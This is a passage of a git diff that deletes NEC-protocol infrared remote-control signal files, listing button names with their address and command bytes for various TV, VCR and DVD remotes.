18 00 00 00 -command: 58 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/TV/24,24.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/TV/24,24.ir deleted file mode 100644 index a00180b26..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/TV/24,24.ir +++ /dev/null @@ -1,68 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DVD/HD -type: parsed -protocol: NECext -address: 18 18 00 00 -command: 1C 00 00 00 -# -name: WIDE -type: parsed -protocol: NECext -address: 18 18 00 00 -command: AD 00 00 00 -# -name: CUR_UP -type: parsed -protocol: NECext -address: 18 18 00 00 -command: B0 00 00 00 -# -name: CUR_DN -type: parsed -protocol: NECext -address: 18 18 00 00 -command: B1 00 00 00 -# -name: CUR_LF -type: parsed -protocol: NECext -address: 18 18 00 00 -command: B2 00 00 00 -# -name: CUR_RT -type: parsed -protocol: NECext -address: 18 18 00 00 -command: B3 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 18 18 00 00 -command: C0 00 00 00 -# -name: PROCEED -type: parsed -protocol: NECext -address: 18 18 00 00 -command: C4 00 00 00 -# -name: POINTER -type: parsed -protocol: NECext -address: 18 18 00 00 -command: C9 00 00 00 -# -name: ZOOM_+ -type: parsed -protocol: NECext -address: 18 18 00 00 -command: CA 00 00 00 -# -name: ZOOM_- -type: parsed -protocol: NECext -address: 18 18 00 00 -command: CB 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/TV/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/TV/4,-1.ir deleted file mode 100644 index e3e1ea1d1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/TV/4,-1.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: CH_^ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: CH_V -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: VOL_^ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: VOL_V -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0A 00 00 00 -# -name: ANT/AUX -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 10 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 11 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 12 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 13 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 14 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 15 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 16 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 17 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 18 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 19 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1A 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown/25,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown/25,-1.ir deleted file mode 100644 index 3314ea136..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown/25,-1.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: [1]_CHANNEL_^ -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 00 00 00 00 -# -name: [1]_CHANNEL_V -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 01 00 00 00 -# -name: [1]_SLOW_+ -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 02 00 00 00 -# -name: [1]_SLOW_- -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 03 00 00 00 -# -name: [1]_CANCEL/STOP_[] -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 04 00 00 00 -# -name: [1]_ENTER/PLAY_> -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 05 00 00 00 -# -name: [1]_REC -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 06 00 00 00 -# -name: [1]_POWER -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 08 00 00 00 -# -name: [1]_RESET -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 09 00 00 00 -# -name: [1]_VCR/TV -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0A 00 00 00 -# -name: [1]_FF/SRCH_>> -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0C 00 00 00 -# -name: [1]_REW/SRCH_<< -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0D 00 00 00 -# -name: [1]_PAUSE/STILL_ -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0E 00 00 00 -# -name: [1]_1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 10 00 00 00 -# -name: [1]_2 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 11 00 00 00 -# -name: [1]_3 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 12 00 00 00 -# -name: [1]_4 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 13 00 00 00 -# -name: [1]_5 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 14 00 00 00 -# -name: [1]_6 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 15 00 00 00 -# -name: [1]_7 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 16 00 00 00 -# -name: [1]_8 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 17 00 00 00 -# -name: [1]_9 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 18 00 00 00 -# -name: [1]_0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 1A 00 00 00 -# -name: [1]_SP/EP -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 1B 00 00 00 -# -name: [1]_SEARCH_INDEX -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 62 00 00 00 -# -name: [1]_TAPE_RETURN -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 72 00 00 00 -# -name: [1]_INDEX_WRITE -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 75 00 00 00 -# -name: [1]_INDEX_ERASE -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 76 00 00 00 -# -name: [1]_ADDRESS -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 84 00 00 00 -# -name: [1]_TAPE_REMAIN -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 85 00 00 00 -# -name: [1]_SEARCH_TIME -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 9D 00 00 00 -# -name: [1]_CVC -type: parsed -protocol: NECext -address: 19 00 00 00 -command: EF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown/25,231.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown/25,231.ir deleted file mode 100644 index 458ccb5ee..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown/25,231.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: [2]_CHANNEL_^ -type: parsed -protocol: NECext -address: 19 E7 00 00 -command: 00 00 00 00 -# -name: [2]_CHANNEL_V -type: parsed -protocol: NECext -address: 19 E7 00 00 -command: 01 00 00 00 -# -name: [2]_SLOW_+ -type: parsed -protocol: NECext -address: 19 E7 00 00 -command: 02 00 00 00 -# -name: [2]_SLOW_- -type: parsed -protocol: NECext -address: 19 E7 00 00 -command: 03 00 00 00 -# -name: [2]_CANCEL/STOP_[] -type: parsed -protocol: NECext -address: 19 E7 00 00 -command: 04 00 00 00 -# -name: [2]_ENTER/PLAY_> -type: parsed -protocol: NECext -address: 19 E7 00 00 -command: 05 00 00 00 -# -name: [2]_REC -type: parsed -protocol: NECext -address: 19 E7 00 00 -command: 06 00 00 00 -# -name: [2]_POWER -type: parsed -protocol: NECext -address: 19 E7 00 00 -command: 08 00 00 00 -# -name: [2]_RESET -type: parsed -protocol: NECext -address: 19 E7 00 00 -command: 09 00 00 00 -# -name: [2]_VCR/TV -type: parsed -protocol: NECext -address: 19 E7 00 00 -command: 0A 00 00 00 -# -name: [2]_FF/SRCH_>> -type: parsed -protocol: NECext -address: 19 E7 00 00 -command: 0C 00 00 00 -# -name: [2]_REW/SRCH_<< -type: parsed -protocol: NECext -address: 19 E7 00 00 -command: 0D 00 00 00 -# -name: [2]_PAUSE/STILL_ -type: parsed -protocol: NECext -address: 19 E7 00 00 -command: 0E 00 00 00 -# -name: [2]_1 -type: parsed -protocol: NECext -address: 19 E7 00 00 -command: 10 00 00 00 -# -name: [2]_2 -type: parsed -protocol: NECext -address: 19 E7 00 00 -command: 11 00 00 00 -# -name: [2]_3 -type: parsed -protocol: NECext -address: 19 E7 00 00 -command: 12 00 00 00 -# -name: [2]_4 -type: parsed -protocol: NECext -address: 19 E7 00 00 -command: 13 00 00 00 -# -name: [2]_5 -type: parsed -protocol: NECext -address: 19 E7 00 00 -command: 14 00 00 00 -# -name: [2]_6 -type: parsed -protocol: NECext -address: 19 E7 00 00 -command: 15 00 00 00 -# -name: [2]_7 -type: parsed -protocol: NECext -address: 19 E7 00 00 -command: 16 00 00 00 -# -name: [2]_8 -type: parsed -protocol: NECext -address: 19 E7 00 00 -command: 17 00 00 00 -# -name: [2]_9 -type: parsed -protocol: NECext -address: 19 E7 00 00 -command: 18 00 00 00 -# -name: [2]_0 -type: parsed -protocol: NECext -address: 19 E7 00 00 -command: 1A 00 00 00 -# -name: [2]_SP/EP -type: parsed -protocol: NECext -address: 19 E7 00 00 -command: 1B 00 00 00 -# -name: [2]_SEARCH_INDEX -type: parsed -protocol: NECext -address: 19 E7 00 00 -command: 62 00 00 00 -# -name: [2]_TAPE_RETURN -type: parsed -protocol: NECext -address: 19 E7 00 00 -command: 72 00 00 00 -# -name: [2]_INDEX_WRITE -type: parsed -protocol: NECext -address: 19 E7 00 00 -command: 75 00 00 00 -# -name: [2]_INDEX_ERASE -type: parsed -protocol: NECext -address: 19 E7 00 00 -command: 76 00 00 00 -# -name: [2]_ADDRESS -type: parsed -protocol: NECext -address: 19 E7 00 00 -command: 84 00 00 00 -# -name: [2]_TAPE_REMAIN -type: parsed -protocol: NECext -address: 19 E7 00 00 -command: 85 00 00 00 -# -name: [2]_SEARCH_TIME -type: parsed -protocol: NECext -address: 19 E7 00 00 -command: 9D 00 00 00 -# -name: [2]_CVC -type: parsed -protocol: NECext -address: 19 E7 00 00 -command: EF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RB-34P/25,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RB-34P/25,-1.ir deleted file mode 100644 index 3c742b46f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RB-34P/25,-1.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 00 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 01 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 04 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 05 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 06 00 00 00 -# -name: OPERATE -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 08 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0C 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0D 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RB-73A/25,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RB-73A/25,-1.ir deleted file mode 100644 index 8758bfb26..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RB-73A/25,-1.ir +++ /dev/null @@ -1,74 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 00 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 01 00 00 00 -# -name: StillAdv -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 03 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 04 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 05 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 06 00 00 00 -# -name: Operate -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 08 00 00 00 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0A 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0C 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0D 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0E 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RB-D3A/25,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RB-D3A/25,-1.ir deleted file mode 100644 index 775b1302a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RB-D3A/25,-1.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 00 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 01 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 03 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 04 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 05 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 06 00 00 00 -# -name: OPERATE -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 08 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 09 00 00 00 -# -name: VCR_V -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0A 00 00 00 -# -name: COUNT._MEM. -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0B 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0C 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0D 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0E 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0F 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 10 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 11 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 12 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 13 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 14 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 15 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 16 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 17 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 18 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 1A 00 00 00 -# -name: SET_+_/_SHIFT_+ -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 1E 00 00 00 -# -name: TIMER_MODE -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 82 00 00 00 -# -name: TIMER_RECORD -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 83 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 84 00 00 00 -# -name: TIMER/COUNTER -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 85 00 00 00 -# -name: SET_-_/_SHIFT_- -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 88 00 00 00 -# -name: DIGITAL_MEM. -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 90 00 00 00 -# -name: STROBE -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 9A 00 00 00 -# -name: DIGITAL_NR -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 9C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RB-DV22/45,45.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RB-DV22/45,45.ir deleted file mode 100644 index 7462b6be0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RB-DV22/45,45.ir +++ /dev/null @@ -1,242 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 30 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 31 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 34 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 35 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 36 00 00 00 -# -name: Freeze -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 37 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 38 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 39 00 00 00 -# -name: Display -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 3A 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 3B 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 3C 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 3D 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 3E 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 3F 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 40 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 41 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 42 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 43 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 44 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 45 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 46 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 47 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 48 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 4A 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 4B 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 4C 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 4F 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 50 00 00 00 -# -name: Random -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 51 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 53 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 55 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 56 00 00 00 -# -name: Program -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 57 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 58 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 59 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 5A 00 00 00 -# -name: Freeze_Back -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 60 00 00 00 -# -name: Marker -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 61 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 62 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 2D 2D 00 00 -command: 64 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RC-1065E/24,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RC-1065E/24,-1.ir deleted file mode 100644 index f0610d10a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RC-1065E/24,-1.ir +++ /dev/null @@ -1,332 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: prog_+ -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 00 00 00 00 -# -name: prog_- -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 02 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 03 00 00 00 -# -name: -A- -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 04 00 00 00 -# -name: -B- -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 05 00 00 00 -# -name: -C- -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 06 00 00 00 -# -name: -D- -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 07 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 08 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 09 00 00 00 -# -name: AV -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0A 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0B 00 00 00 -# -name: Hue_+ -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0C 00 00 00 -# -name: Hue_- -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0D 00 00 00 -# -name: Norm -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0E 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0F 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 10 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 11 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 12 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 13 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 14 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 15 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 16 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 17 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 18 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 19 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1A 00 00 00 -# -name: KEY_2- -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1B 00 00 00 -# -name: shift_-A- -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1C 00 00 00 -# -name: timer_off -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1E 00 00 00 -# -name: timer_on -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1F 00 00 00 -# -name: Bass_+ -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 42 00 00 00 -# -name: Bass_- -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 43 00 00 00 -# -name: Treble_+ -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 44 00 00 00 -# -name: Treble_- -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 45 00 00 00 -# -name: contr_+ -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 46 00 00 00 -# -name: contr_- -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 47 00 00 00 -# -name: Mode_+ -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 48 00 00 00 -# -name: Mode_- -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 49 00 00 00 -# -name: Bright_+ -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 4A 00 00 00 -# -name: Bright_- -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 4B 00 00 00 -# -name: Erase -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 53 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 54 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 55 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 56 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 57 00 00 00 -# -name: F_FWD -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 58 00 00 00 -# -name: shift_-/-- -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 59 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 5A 00 00 00 -# -name: shift_Menu -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 5B 00 00 00 -# -name: shift_2- -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 5C 00 00 00 -# -name: shift_|> -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 5D 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 5E 00 00 00 -# -name: |> -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 5F 00 00 00 -# -name: shift_Mode -type: parsed -protocol: NECext -address: 18 00 00 00 -command: C3 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RC-1083E/24,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RC-1083E/24,-1.ir deleted file mode 100644 index 2894bbd4f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RC-1083E/24,-1.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 00 00 00 00 -# -name: 